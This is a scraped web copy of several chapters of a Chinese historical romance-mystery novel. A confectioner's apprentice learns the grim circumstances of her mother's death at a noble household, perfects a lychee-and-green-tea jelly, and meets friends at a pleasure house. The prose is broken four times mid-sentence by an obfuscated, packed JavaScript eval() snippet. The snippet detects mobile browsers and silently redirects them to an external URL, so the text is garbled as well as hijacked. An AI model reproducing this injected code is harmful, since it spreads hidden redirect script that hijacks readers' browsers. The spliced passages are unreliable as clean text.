厢房内流了一地的血,床榻之上,洛绾君衣不蔽体,头发散乱,满脸泪痕,她一只纤细的手臂垂在床边,手腕处的伤口还在不停地向下滴血,地上的血迹中掺杂着凌乱的花瓶碎片。 施窈连同其他几位掌事见状赶忙上前扯开被褥将洛绾君的身体完全遮住,帐设司掌事颤抖着伸出手探了探她的鼻息。 已经断气了。 厢房内众人皆大惊失色,没等请郎中过来查看情况,孟府的人已然听闻了这里的动静赶了过来。 孟家二房孟元钧是孟老夫人的嫡长子,他如今在朝中官居高位,是孟家实实在在的当家人,他的夫人也正是孟府主母,府里大大小小的事务都是她在打理。 二夫人带着三房的薛姨娘以及一大帮子丫鬟、仆从乌泱泱地进了屋,一进屋二夫人就用手帕掩面,作出一副极其嫌弃的表情,薛姨娘上前指使着小厮把三位被吓到腿软的少爷拖走,什么也没解释,就大咧咧地离开了。 四司六局的几位掌事准备出言阻止,毕竟她们进来时,只见这三位少爷在场,若洛绾君的死是有人蓄意谋杀,他们三人既是嫌疑人又是重要的人证,就让他们这么轻易离开,实属不应该。 但不等她们说什么,二夫人就发话了:“今儿老夫人寿宴上见了红真是晦气。” 见她话语里满是尖酸刻薄,几位掌事忍不住出言理论一番:“如今我们的人在你们孟家的地方出了事,且大家都看到了你们孟家的少爷也牵涉其中,你们理应给我们一个说法,抓住凶手,还无辜之人一个公道。” 几位掌事义愤填膺,言辞凿凿,即使对方是高门大户的主母也丝毫不胆怯退让。 “呵呵。”二夫人仿佛是听见了什么天大的笑话,华美妆容下覆盖的是一张扭曲可怖的脸,“这女子定是行为不检点想着攀高枝儿,故意勾引我们家少爷,结果勾引不成眼见丑事败露便羞愧自缢了。” 二夫人声音尖利,极其刺耳,说得煞有其事:“被这种人缠上真是倒霉,简直脏了我孟家的地儿。” 见孟家主母颠倒黑白,孟家上下也是蛇鼠一窝,施窈气不过几乎要不管不顾上前与那人扭打一番。 可是二夫人却完全不理会,命下人们将四司六局一行人往外撵:“把这个不知廉耻的女人给我扔出去,真是家门不幸。” 接着她一副大发慈悲的模样:“寿宴已结束,四司六局的诸位也都请回吧,念在你们这次宴席办事还算得力,方才以下犯上之事我就不追究了。” 交代完所有的事情,二夫人就在仆从们的簇拥下又乌泱泱地离开了,孟府的小厮们开始把他们往外驱赶,两个婆子也不顾洛绾君在被褥之下衣衫不整,就把人抬起来准备往外挪。 掌事们实在看不下去,拼命挣脱了小厮们的阻拦,过去将洛绾君的衣物穿好,才将她背着出了孟府。 …… 说到这儿,今穗早已泪流满面。她曾经想过,母亲在走之前是不是遭遇过非人的对待,却没想到,她走之后,竟被人羞辱至这般境地。 此时此刻,今穗的眼睛里充满了恨意,她恨不得立马去那孟家,将伤害过母亲之人屠个干干净净。 施窈也在一旁沉默着,当时遭遇这些事时,她完全是凭本能去做那些事情。她平日里总是对四司六局里长相出众的女子或多或少有些敌意,即使洛绾君那时已是嫁做人妇的半老徐娘。 就算这样,她还是看不得这些自诩高贵之人这般作践别人,所以才会下意识地去维护洛绾君。 为何人生来就因为财富、权势或者别的东西就有了高低贵贱之分? 她从来不相信所谓的命运,所以才会只身一人远上京城,才会费尽心思地去接近权贵。 “你别担心,我会尽力帮你的。”房内安静了许久,施窈忍不住出声安慰。 今穗的哭泣声也渐渐停止,施窈递了张帕子给她,她接过帕子抹了抹脸上的泪痕:“谢谢你告诉我这么多。” 若不是今日施窈说这些,她恐怕至今还不知道母亲死时的情形是多么痛苦凄惨,那孟家是多么的狠毒可恶。 事情几乎发生在寿宴结束之后,那时宾客大都已经离开,且据施窈所说,事发的厢房位于孟府很偏僻的角落里,现场又有孟家三位少爷的出现,二夫人一来就极力给母亲泼脏水……种种迹象表明,这凶手应当就是孟家的人! 她将自己的猜测跟施窈说了一遍,施窈听着今穗的这番话也陷入了沉思:“依你所言,这凶手是孟家人不错,可孟家是世家大族,子嗣繁盛,从主子到仆从,少说也有几百口人,你如何从这么多人中找到凶手。” 今穗冷静下来,许多事情在她的脑海中盘旋:“我母亲向来与人为善,更与孟家的仆从毫无交集。即使下人们有这个心思也不敢胆大到在主人家的地盘上作恶,二夫人更不必为了下人遮遮掩掩,迫害我母亲之人应当不会是孟家的下人。” 听今穗这么一分析,施窈觉得甚是有理:“这么看确实没错,但这也仅仅是你的猜测,若真如你所说,这就意味着找到凶手更难了。” 她明白这个道理,也知道自己一直以来所要走的是多么艰难的一条路,但她从未曾想过退却。 “你刚刚说孟家子嗣繁盛?” 今穗目前对于孟家的了解少之又少,倒是施窈因着想嫁进高门大户的心思,每每去有钱人家办宴席之前都会借着在祈陌春坊做舞姬的机会探听消息,摸清主家的情况更好找机会下手,这也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019235|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她选择做舞姬的原因另外一个原因,在青楼这种地方打听这些权贵之家的消息极为方便。 这次孟家也不例外。 施窈听她这么问,思考了一下去床头的匣子里取出了一张密密麻麻写着字的纸,她看了一眼就递给今穗:“喏,这是我之前打听到的,你看看吧。” 今穗看得极为仔细,施窈也在一旁如数家珍般说起了孟家如今的情形:“孟家是东京的百年大家族了,一直以来子嗣繁盛,旁支众多。到了家主孟元钧这一代更是足足有五房,二房和五房是孟老夫人嫡出,其余三房是庶出。” “二房便是家主孟元钧,房里有两位少爷和一位姑娘,大少爷是这一辈的嫡长子但是不幸早夭,二姑娘与三少爷皆是正经的嫡出,算是这一辈里最有地位的。” “五房是和江小侯爷闹得满京城沸沸扬扬的那一位,因着是孟老夫人老来得女,格外受宠,但是我不太明白,这孟小姐放着好好的侯府不嫁非要逃婚,这可是多少人求都求不来的好姻缘,她也不怕自己好好的夫婿就这么拱手送人了。” 施窈一边感叹一边摇头,今穗倒是接触过这位孟小姐,但据她所接触到的一面看,孟织筠应当与那时羞辱过母亲的二夫人等几位孟家人不太一样。 虽说知人知面不知心,但是那样一位正义凛然之人,应当未曾参与到寿宴的事情当中吧。 今穗在脑海中回忆着在裴国公府遇见孟织筠的情景,就听见施窈似乎又想到了什么:“我想起来了,当时孟小姐和江小侯爷一同南下游玩,回程的路上遭遇意外未曾赶上寿宴。” 那孟织筠与母亲这件事应当没有关系了。 “其余几房庶出都不如嫡出这般光鲜亮丽,几乎都有自己见不得人的事了,但我知道的不算多,这大房有一位少爷两位姑娘,大房孟元良在朝中也有一官半职,但是官阶不如孟元钧,因此方方面面几乎都被二房压一头。” “三房孟元德是个好色之徒,纳了好几房姨娘,房里只有三姑娘是正妻所出,其余三位少爷皆是姨娘生的。” “最后就是四房孟元清了,他一直体弱多病,房里只有一位七少爷,但是不知是不是也一样体弱,几乎从没有外人见过他,关于他的消息也少之甚少。” 这么一看,孟家最小的这一辈算下来还健在的足足有十人之多。 此事任重而道远。 说了半天的话,施窈也口干舌燥,她自顾自倒了杯茶就往嘴里猛灌。 听着孟家这错综复杂的关系,今穗忽然提出了自己的疑问:“孟家男丁兴旺,你那时就没找到合适的目标?” “你这说的是什么话,就算我想嫁有钱人,也不至于什么都不挑吧。再说了,当时寿宴上我作为果子局掌事自是忙得脚不沾地,哪有心思去想着这事。”施窈说话时都不自觉带了几分嫌弃。 今穗也只是随口一问,现下知道了孟家内里是这般的腐朽恶臭,施窈对此更是没有想法了。 12. 荔枝凉粉 二人在房内待了许久,在这个平静无风的夜晚,两个各有苦衷的姑娘对彼此打开心扉,畅所欲言。 直至月上中天,今穗才依依不舍地离开,满腹心事地回到医馆。今晚获取的信息量太大,她也得好好消化一番。 今穗刚走到医馆门口,却见不远处有火光摇摇晃晃地往这边靠近,她驻足定睛一看,是裴樾领着他的十几个下属快步在空荡无人的街道上行进。 他们脚步匆匆,只点了一盏灯引路,十余人的队伍井然有序,在寂静的夜里也没有发出太大的声响,应当是不想惊扰附近的民众。 她不着急推门进屋,在门口站了一会,就见裴樾和身后的一行人往这边靠近。 等裴樾路过时,今穗朝他缓缓福身:“世子。” 裴樾似乎听见有人喊他,回头仔细一瞧,竟看见今穗正站在黑暗之中望着他,一日之内遇见两回,他们还真是有缘分。 他刚想上前与今穗说话,忽然间又回头吩咐身后的下属继续往前走,然后才转身看向今穗。 “这么晚了,你为何在此?”裴樾疑惑问道。 “这么晚了,世子又是为何在此呢?”今穗反问道。 “我……办案结束,回去的路上途径此路。”裴樾认真解释道。 “原来如此……小女家住于此,刚到家不巧就碰见了世子。” 听今穗这么说,裴樾就往她身后房屋的牌匾上看了一眼,只见“乔家医馆”四个大字,原来他那个雨夜无意闯入之地就是这里。 二人面对面沉默了一会,忽然间裴樾开口说道:“以后……唤我裴樾即可。” 今穗没有立即答话,她平静的面容隐匿在漆黑的夜色中,不知道她在想什么,过了好一会才轻声回道:“裴樾。” 听到她说出这两个字,裴樾仿佛松了一口气,心里悬着的石头终于落了地,不知为何,与她相处时,总是会觉得局促。或许是因为那一份救命之恩,他仍然想着用同等价值的事或物去回报她。 实际上对于今穗来说,也是相同的感受,自从知道他国公府世子的身份,她对于裴樾就有一种说不清道不明的情绪,或许是因为她对这些权贵世家从来都心怀敌意,但是裴樾……似乎又跟这些人不一样。 “裴樾,我先回去了。”没有在医馆门前逗留太久,今穗就向裴樾告辞。 “嗯。”裴樾轻声应道。 今穗推门进入医馆,裴樾目送着她的身影消失在门里,然后独自离开。 第二日上午,今穗因昨夜回去得晚了所以起身也就稍晚了些时辰,等她到蜜煎局时,却看见自己平日里制作蜜饯的案桌上摆满了各类瓜果。 云从也一脸好奇地凑过来:“你昨日去寻施窈是不是抓住了她什么把柄,不然她怎么一大早就眼巴巴地给你送这么多瓜果。” 云从盯着她,一副要她老实交代的表情,今穗无奈:“没有,就是跟她聊了会天。” “真的吗?”云从半信半疑,仍然盯着她不放,“以我的姿色在果子局都没有这种待遇,你怎么只过了一晚上就搞得好像施窈对你死心塌地了一样。” 听云从说话这般不着调,今穗更加无奈了,只能反复跟他解释:“可能我们聊得比较投机?” 云从看出了今穗在敷衍自己,一脸极其受伤的模样,扭过头故意不搭理她。 今穗也没工夫去哄自己这个行为时常很幼稚的师父,很快就投入到蜜饯的研究当中了。 毕竟时间紧任务重,她目前的进度还是慢了些,何况最后能否成功都未可知,她更得全力以赴。 昨日发现单纯地去掉荔枝膏水配方中的食材,并加入治疗龋齿的药材,做出来的膏水并不是想象中的味道,且尚未减少蜂蜜和白糖的用量,最终也无法发挥这个方子的药效。 若是先从改善味道入手,就得像昨日想的那样,先换掉乌梅和肉桂,改用别的瓜果。 她看着案桌上施窈今日刚送来的新鲜瓜果,思考着可以换用什么。 ?香橼?中所含糖分较少,但酸味过甚,不仅打乱了味道更对牙齿无益;柑橘与香橼相似,只是酸味少了些,还有桃、梨等常见的果子,其中所含糖分多了,更不适合加入其中。① 今穗盯着桌上琳琅满目的瓜果看了半天,也没想到一个两全其美之法。 她又想了想,若是追求味道,乌梅和肉桂还是这道膏水的最优解,其次川椒和生石灰也不能少,治疗牙齿就靠着这两位药材。 乌梅暂且不动,肉桂或许可以将其换成桂皮,再加入白糖的话,不论剂量是否减少,其中的甜腻之味终究难以掩盖,那么只能加入些别的东西去中和这份甜味。 想到这,今穗又进入了瓶颈。她随意地走到其他人的桌子旁,拿了些蜜饯丢进嘴里,转一圈下来,整个嘴里已经完全被甜味攻占。 似乎有些甜过了头,今穗皱着眉头走回来,云从见她这个模样,不禁关切道:“蜜饯吃太多了?” 今穗难受地点点头。 云从心下了然,随即出去了一趟很快就提着一壶茶回来,他倒了一杯茶递给今穗:“喝杯茶清清口。” 今穗接过茶喝了一口,口中的甜味果然就消失大半,她一边仔细品味着口中的茶水,一遍疑惑问道:“茶水可以中和甜味?” “是啊,在蜜煎局这茶水应该常备,平日里试吃蜜饯时都得用茶水清口,若不如此,口中全是黏腻的甜味,多难受。”云从认真解释着。 这下给了今穗很大的启发,用茶叶中和甜味确实是个好办法。 今穗瞬间就来了精神,急忙追问道:“师父,你给我喝的这是什么茶?” 云从也不知:“从茶酒司随意取来的茶叶,为师也没注意是什么,不过只是为了清口,也不必去讲究用的什么茶叶,难不成你平日喝茶还有忌口?” 听他这么说,今穗摇头,若是茶叶都有中和甜味的效果,那么就可以考虑是否有一种茶叶能够有益牙齿,用这种茶叶加入其中,定能大大增强这道膏水的效用。 想到这儿,今穗又去翻从医馆带来的医书。 她仔仔细细翻了许久,终于,医书上记载着绿茶具有抗酸防蛀之效,那么便可将绿茶茶水加入其中。 今穗去茶酒司取来绿茶,按照自己心中的构想又重头制作这道膏水。 这次同样顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019236|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利地完成了,味道也比上一次好了不少。但是因为去掉了蜂蜜,最终的形态仍然不够黏稠,且膏水饮用时得先用开水冲泡,虽易于保存,但是这种饮用方式还是复杂了些,且夏日里用热饮终归是会令人烦躁。 今穗忽然想起前些日子做了道白凉粉十分清热解暑,只不过因做法简单,她并没有深入去研究。 那么可以在膏水中加入凉粉,搅拌加热后,放置一段时间,就能形成晶莹剔透的荔枝凉粉,若是再将其放入冰窖中,取出后凉意沁脾,更是别有一番风味。 现下打通了施窈这条路,果子局的冰窖自然是任她取用了,今穗试着制作改良版的荔枝凉粉,又顺手做了一道普通的白凉粉,做好之后一同带去冰窖。 谁知刚一过去就碰上了施窈,也不知是不是现在施窈对她格外关注的缘故。 “这般鬼鬼祟祟,说吧,这次又要什么,早上给你送的那些瓜果还不够用吗?”施窈虽这么说,可她的语气里没有一丁点不耐烦。 “没有鬼鬼祟祟,来借用一下施窈姐姐的冰窖。”说着,今穗用眼神示意手中端着的两个瓷碗。 瓷碗中的事物晶莹剔透,色泽诱人,光是看着就十分可口。 施窈看了眼有些馋,但她不好意思说出来,暗自咽了咽口水,状似无意道:“行吧,自己过去吧。” 说完,施窈就假装自己去忙别的事情了,没再管今穗。 今穗看着施窈嘴硬的样子,偷偷笑了一下,就先将两只瓷碗放进了冰窖当中。 过了大约有一个时辰,今穗再去冰窖看那两只瓷碗,却又碰见施窈也在冰窖当中。 今穗见状,挑眉说道:“好巧。” 施窈来冰窖就是想看看那两只瓷碗中诱人的食物,这下好像被人戳穿了一般,眼神慌乱道:“嗯……我来巡视一下,对,巡视一下。” 见施窈这个样子,今穗也心下了然,她也没有戳穿她的心思,只是拿起那两只瓷碗观察了一下。 碗壁冰冰凉凉,凉粉表面似乎还冒着一股凉气。 看到凉粉这个状态,今穗很是满意。 她将其中普通的那碗白凉粉递给施窈,温柔笑道:“多谢施窈姐姐借用冰窖之恩。” 施窈本来就馋了这凉粉许久,见今穗送给自己一碗,本想立刻手下,却还是心口不一:“咳咳,四司六局中借用冰窖是常事,你……不必特意谢我。” 刚说完这句话,施窈就在心里后悔,自己这嘴硬的毛病什么时候能改改,她这下简直欲哭无泪,到嘴的美食的就这么飞走了。 今穗这下笑意更盛,她牵起施窈的手将白凉粉塞到她的手中,贴心解释道:“这碗本来就是做给你的,希望施窈姐姐不要嫌弃我的手艺。” “做给我的……”闻言,施窈有些发蒙,她似乎尚未习惯心安理得地接受别人的好意,本来就没什么朋友的她,见今穗对自己这般好,鼻子又开始发酸了。 今穗见状赶紧出声调节气氛:“昨夜还没哭够吗,今日就别哭啦。” 施窈也及时抛开内心的酸涩,二话不说开始品尝今穗专门给她做的白凉粉。 清新爽口,凉意沁脾。 13. 荔枝茶冻 很快吃完一碗,施窈还意犹未尽,她咂了咂嘴,又虎视眈眈地盯着今穗手里的另一碗。 今穗连忙护住手中的荔枝凉粉:“这碗可不行,这是我研究的准备在生辰宴上献给长宁郡主的,尚未成功,等成功了我留一点给你。” “你这几天就是在忙活这个?” 今穗点点头。 “它看起来与普通的白凉粉不太一样,闻着还有一股茶味。”施窈凑近观察了一下,“这道点心有名字吗?” “我在其中加入了一些绿茶,名字的话……我用的是荔枝膏水的配方,最后加入凉粉制成现在的样子,那就叫……荔枝凉粉?” 施窈听着觉得不太妥,这个名字也太直白了些,且没有突出其中绿茶的特色,她思索了一下说道:“或者……荔枝茶冻?” 这个名字虽突出了其中加入茶叶的特色,却还是稍显直白,在旁人听来只当作是市井间糖水铺子里的普通点心,不像是能够呈在郡主面前的食物。 今穗将新配方制成的荔枝茶冻从冰窖中带回去之后,经过几番品尝对比,这个配方所用食材应当是没问题的,这下就看每个环节所用的剂量以及火候的把握,细微的差别都会影响最终的口感。 为此,今穗反复调整了好几日。 这一日,经过了这几天的尝试,今穗终于制作出了从口感到药效都满意的荔枝茶冻。 她将这件事分享给施窈,同时也让她品尝了一下,施窈也连连点头。 “哦对了,这道点心名字取好了吗?” 今穗摇头,这几日光顾着调整了,倒是把取名这件事给忘了。 “没事没事,还有时间。”施窈出声安慰,接着忽然又想到了什么,又问道,“那你有跟姜掌事说这件事吗?她同意了吗?毕竟国公府那边可是明令禁止撤掉蜜饯点心一类的食物,若是姜掌事和总管那边不同意,你也没机会将这道点心献给郡主。” 今穗又摇摇头,她刚将荔枝茶冻做出来就急忙过来跟施窈分享了,这些事都尚未来得及去问。 施窈见今穗这些事情都还没打点清楚,也不禁为她担忧起来。 但是看她这几日为了这道荔枝茶冻几乎茶饭不思,又想她先休息休息再去忙活下一步。 “嗯……反正时辰尚早,这些事情也不急于一时,你费尽千辛万苦制成了这道点心,今日理应先为你庆祝一番。不如……今晚到祈陌春坊吃点好的犒劳一下自己?”施窈提到祈陌春坊,怕今穗误会又连忙解释道,“祈陌春坊虽是青楼,它的厨子还是很不错的,况且有我在想吃什么都不用花银子。” 听施窈这么说,忙碌了好几日的今穗已然有些心动,没多想就一口答应下来:“也好。” 入夜,东京城的街道上灯火通明,人潮如织。 傍晚时分施窈已先一步离开,她平日里都走得很早,先是回家乔装遮掩一番再进入祈陌春坊,到了她休息的房间换上舞衣,对着铜镜涂脂抹粉,最后再覆上面纱,这一番工夫下来天很快就黑下来,也轮到她上台表演了。 今穗也记着二人的约定,离开蜜煎局就朝祈陌春坊去,到了门口,她拿出施窈给的腰牌,畅通无阻地进去了。 进入祈陌春坊她就径直上了二楼,找了一处视野极好的地方欣赏施窈在台子上的表演。 她看着台上之人漂亮动人的舞姿,内心不禁感叹:像施窈这样娇容玉姿,能歌善舞之人,纵是有些生于世家的闺秀都比不上,在此地做舞姬实在是暴殄天物。 正当今穗沉浸在这段表演当中时,大堂中突然出现了一阵骚动,引起了众人的注意。 今穗扒着走廊的栏杆往下望,只见裴樾和江锦初正在大堂当中,祈陌春坊的严妈妈见来了两位贵客正在热情地招呼他们。 江锦初因为和孟织筠缠绵悱恻的爱情故事已然成了东京城里的名人,他出现在这青楼当中,自然是引起了许多人的注意。 倒是裴樾,平日里太过低调,今日也没有提邢司的下属跟着,因此并没有太多人关注到他,只是跟江锦初待在一块,想不惹眼都难。 祈陌春坊大堂。 严妈妈笑得满脸都是褶子,双眼放光地看着两位在青楼中显得格外风流倜傥的公子,姑娘们也都有意无意地朝这边看,都眼巴巴地想过来伺候这两位。 “江公子在我这祈陌春坊可有相熟的姑娘?”见江锦初不搭话又转去问裴樾,“裴大人也算是咱这的熟客了,今日来可是有看上的姑娘了?” 听严妈妈说到“熟客”,江锦初惊讶地瞪大了眼睛,准备好好盘问他一番,就听见裴樾开口:“严妈妈不必招呼我们,给我们开一间单独的包厢即可。” 严妈妈只好在众人目光的洗礼下,领着他们进了二楼走廊尽头的一间房。 待房门关上,大堂的喧嚣吵闹被隔绝在外。 憋了一路的江锦初刚要开口去问裴樾关于“熟客”的事,就被他淡淡地打断了:“前几日我调查地下赌坊一事,多来了这里几次,与祈陌春坊的严妈妈有过几面之缘,所以她才故意说我是熟客。” “还有问题?” 听裴樾这么解释,江锦初瞬间觉得没意思了,刚刚的满腹疑惑瞬间消失殆尽:“没问题了……” “真没意思,还以为平日里不近人情的提刑官大人偷偷在这青楼中金屋藏娇了,没想到还是和案子有关,真让人遗憾……” 江锦初自顾自在桌边给自己倒了杯酒喝,刚喝了一口,就觉得这酒不对劲,立马吐了出来。 “这酒有问题!” “有毒?”裴樾立马严肃起来。 “有药!” 闻言,裴樾皱眉,似是不理解他话里的意思。江锦初解释道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019237|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你觉得青楼的酒里能有什么药。” 裴樾瞬间明白了,指了指桌上的茶壶:“喝杯茶漱漱口。” 江锦初这下都有心理阴影了,连忙摆手:“我可不敢喝,指不定里头又有什么好东西。” 裴樾点头,青楼里有这些东西也算正常,之后他们就聊起了正事。 “父亲非要我来跟着你办案,说我一天到晚跟在阿筠后面,没个正形。”说到这个,江锦初垂头丧气,“怎么就没个正形,那我跟你办案你怎么还带我来青楼?” “前几日查案发现这祈陌春坊有个地下赌坊,里面的东西似乎和孟家人有关,但是目前查不到证据,所以我今日只身一人过来查看情况。”裴樾解释道。 “孟家……”提到孟家,江锦初也突然上心了。 只是孟家旁支众多,只是知道与孟家有关还无法顺藤摸瓜地查下去。 且开个赌坊并无不妥之处,虽说开在地下让人生疑,但目前还挑不出什么错处。 裴樾那时查到赌坊时,里面的装饰、摆设与普通的赌坊别无二致,他当时就怀疑查地下赌坊之事已走漏了风声,赌坊的主人提前将里面重新布置成了普通赌坊的模样,以掩盖它见不得人的一面。 他现下已将那赌坊查封,只是至此线索断了,案子的进度好几日都停滞不前。 听裴樾将事情的原委说清楚后,江锦初也来了兴趣,倒不是因为与孟家有关,只是这个案子有关赌坊,他年少时还不如现在稳重,曾沉迷于赌坊玩乐,只是他向来明白“小赌怡情大赌伤身”,且不是为了钱而赌,只是单纯喜欢与不同的赌徒进行心理博弈和技巧过招。 后来因为这事惹得孟织筠生气,他就不再去赌坊了。 “裴兄不如带我去看看,我对赌坊相对而言更加了解,或许可以发现什么线索。” 裴樾答应了,二人就悄悄地往祈陌春坊的后院去。 另一边,施窈表演完毕从台子上下来之后,就看见今穗正在一旁眼巴巴地等着她。 今穗见施窈下了台,就连忙上前为她披上外衫,这一举动惹得施窈连连发笑:“我刚跳完舞,身子不冷,你这般着急为我穿衣,严妈妈看到了可是要说的。” 二人说着笑着就回到了房间里。 房间中央的桌子上已摆满了美味的佳肴,每道菜都色香味俱全,看得今穗直咽口水。 “上台之前我就吩咐后厨做好了菜送我房间,不知道你爱吃什么,就点了些我觉得味道不错的,你看看,可还满意。若是不够,我再叫厨子去做。” 施窈说着,又去橱柜里取了一壶酒过来:“这是我自己酿的梨酒,不醉人,背着严妈妈偷偷藏在这儿的。” 她给今穗倒了一杯,又给自己倒了一杯,二人举杯痛饮,大快朵颐。 正在二人吃得开心之时,忽然有人敲门。 14. 茶荔簪雪 二人欢快愉悦的气氛被打断。 施窈以为是严妈妈让她去接待客人,赶忙将桌上的梨酒收起来,又重新覆上面纱,才过去开门。 门外不是严妈妈,而是纪正卿。 纪正卿仍是如往常一般身着浆洗数次后皱巴巴的粗布麻衣,整体看整洁清爽,但在这祈陌春坊中就显得格格不入了。 来青楼的男子,不是养尊处优的富贵子弟,就是小有财富的富甲商贾,而纪正卿,若非面容整洁,倒像是从乡下进城逃难的难民。 施窈见门外之人是他,脸色忽变,没好气地说道:“你怎么来了?” 纪正卿见到施窈,顿时绽开了笑容:“窈窈。” 施窈想纠正纪正卿对自己的称呼,但是想到自己纠正了这么多次都没成功还是放弃了。 她在门口逗留得久了些,今穗也有些担心,就出声问道:“发生什么事了吗?” 今穗的声音提醒了施窈,她见门外人来人往,一时之间也不能把他劝走,只得妥协:“进来吧。” 纪正卿十分开心地跟着施窈进了屋。 今穗见施窈身后跟了个陌生男子进来,满脸疑惑地望向施窈。 “坐吧。”施窈对纪正卿说道。 闻言,纪正卿乖乖地挨着施窈坐下,全程眼睛都像黏在了她身上一样,仿佛当今穗这个大活人不存在。 施窈不太想解释她和纪正卿的关系,就是觉得和今穗说这件事实在太难为情了。 见施窈没有开口介绍,纪正卿也当她是空气,今穗犹犹豫豫开口:“我现在……是不是不该待在这儿?” 她好奇的目光在两人之间打转。 似乎直到这时纪正卿才发现房里还有一个人,非常自然地向今穗自我介绍:“在下纪正卿,是窈窈的……朋友。” 今穗点点头:“我叫今穗,也是窈窈的朋友。” 她说话间可以加重了“窈窈”二字,似是在故意打趣施窈。 施窈被她这句话说得浑身不舒服,内心挣扎了好久,才跟今穗说清楚了事情的原委。 有一日四司六局休沐,施窈闲着无聊便到祈陌春坊练舞,白日里堂内空无一人,满头大汗的施窈索性将外衫全都脱了,只余轻薄里衣。 就在她专心致志练舞之际,这纪正卿如同愣头青一般莽莽撞撞地闯进了祈陌春坊。 见台上有一女子衣着清凉,纪正卿连忙转身,口中直呼“非礼勿视”,施窈这才注意到了他的动静,取了外衣披上,到门口去瞧个究竟。 却见门口的男子衣衫褴褛,发现她过来时手脚慌乱,面红耳赤,头深深地低着,根本不敢抬头看她。 “你是……?”施窈疑惑问道。 女子嗓音柔美,纪正卿忍不住抬头。 仅这一眼,纪正卿看呆了,他痴痴地望着施窈,口中无意识地说着:“洛神……” “我不是洛神,你找错人了。”施窈以为他是来找人的,但忽然想起祈陌春坊是不是有叫洛神的姑娘,她对这个也不是很了解,接着说道,“你找洛神的话晚上再来问严妈妈吧,我不是很清楚。” 听到这儿,今穗忍俊不禁:“纪公子哪是找人,他这是夸你漂亮得像仙女下凡。” 施窈听了也脸红:“我知道……他后来跟我解释了。” 自那时起,施窈和纪正卿就多有往来。 纪正卿乃是从夔州而来进京赶考,从未见过东京这般富贵繁华的景象,四处找寻书肆之时误入祈陌春坊,不巧撞见了衣着清凉、大汗淋漓的施窈。 二人自那以后多有往来,施窈没交过什么朋友,觉得有个人每天给她念听不懂的诗词也甚是有趣。 但纪正卿却对施窈情根深种,后来给施窈写了很多情诗,但施窈看不懂,纪正卿见施窈并未明确拒绝自己就以为她也对自己有意,因此经常来这里找她。 后来他来得次数多了,施窈也有些烦,况且今日今穗也在,所以见他过来时脸色有些不好。 听完他们的邂逅,今穗只感觉这是话本子里才子佳人的故事,她又看了一眼纪正卿,长相还算清俊端方。 这貌美佳人和俊俏才子,最终的结局应当是才子考取功名,十里红妆迎娶佳人方为圆满。 施窈将故事说完,忽然想起了什么,对着纪正卿说道:“今穗做了道点心,不知如何取名,你可否帮她取个雅致的名字。” “纪某才疏学浅,若有能帮得上忙的地方,定当全力以赴。”纪正卿欣然应答。 今穗将荔枝茶冻的大致特点和外形描述给他,纪正卿听完之后思索一番说道:“茶荔簪雪,不知是否妥当。” “茶荔簪雪……”今穗将这四个字反复念了几遍,越念越觉得很有韵味。 “极好,多谢纪公子。”今穗礼貌道谢。 “好了,这下又顺带着解决一件事。”施窈也替今穗高兴,又重新将梨酒取出来给纪正卿也倒了一杯,“用晚膳了没,你要不要也坐下喝一杯?” 纪正卿眼睛亮亮地满口答应下来。 三人在此吃饭,气氛稍显怪异,今穗借口出去透气想要离开,施窈也没有发觉不妥之处,只是叮嘱今穗不要在外面逗留太久。 今穗离开祈陌春坊前堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019238|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,来到后院。她上次来过一次这里,院中没什么人,她独自一人走着就到了池塘边。 有几尾游鱼在池中嬉戏。 看着这些小鱼儿游来游去也颇为有趣,今穗看得入了迷,竟没发现从后院厢房走出来两个人。 裴樾和江锦初并肩从厢房中走出来,通过江锦初一番仔细的观察,他对这个地下赌坊已经有了初步的理解,并且对一些地方产生了怀疑。 他们二人走出来正想说这件事,却没想到在池塘边看见了一个鬼鬼祟祟的人影。 难不成是这赌坊的主人派人来暗中监视这里? 他们立即戒备起来,慢慢靠近池塘,准备将这人一举捉拿。 